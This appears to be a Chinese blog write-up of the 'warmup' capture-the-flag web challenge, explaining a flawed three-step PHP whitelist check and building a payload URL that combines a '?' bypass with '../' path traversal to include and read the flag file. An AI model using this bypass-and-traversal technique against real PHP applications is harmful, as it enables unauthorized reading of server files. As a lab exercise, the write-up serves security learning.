warmup_攻防世界

进入页面什么都没有,查看控制台
在这里插入图片描述
注释提示source.php,地址栏输入查看源码
在这里插入图片描述
提示存在hint.php,访问后显示
在这里插入图片描述
得到存储flag的文件名
现在分析满足函数条件的payload
函数作用是分三步检查传进来的参数是否满足白名单:

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

第一步:

if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

只要我们传的参数是source.php或者hint.php则返回真
如果不满足继续往下判断
第二步:

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

取传进参数首次出现?前的部分,再进行白名单判断;如果还不满足继续往下判断
第三步:

$_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;

先把传进的参数做urldecode,接着就和第二步一样,都不满足就输出"you can’t see it"并且返回假
构造payload

http://220.249.52.133:52690/source.php?file=source.php?

此时尚不知道文件的路径,通过官方文档给出include的解释构造最终的payload
在这里插入图片描述

http://220.249.52.133:52690/source.php?file=source.php?/../../../../../../ffffllllaaaagggg

得到flag
在这里插入图片描述

©️2020 CSDN 皮肤主题: 游动-白 设计师:上身试试 返回首页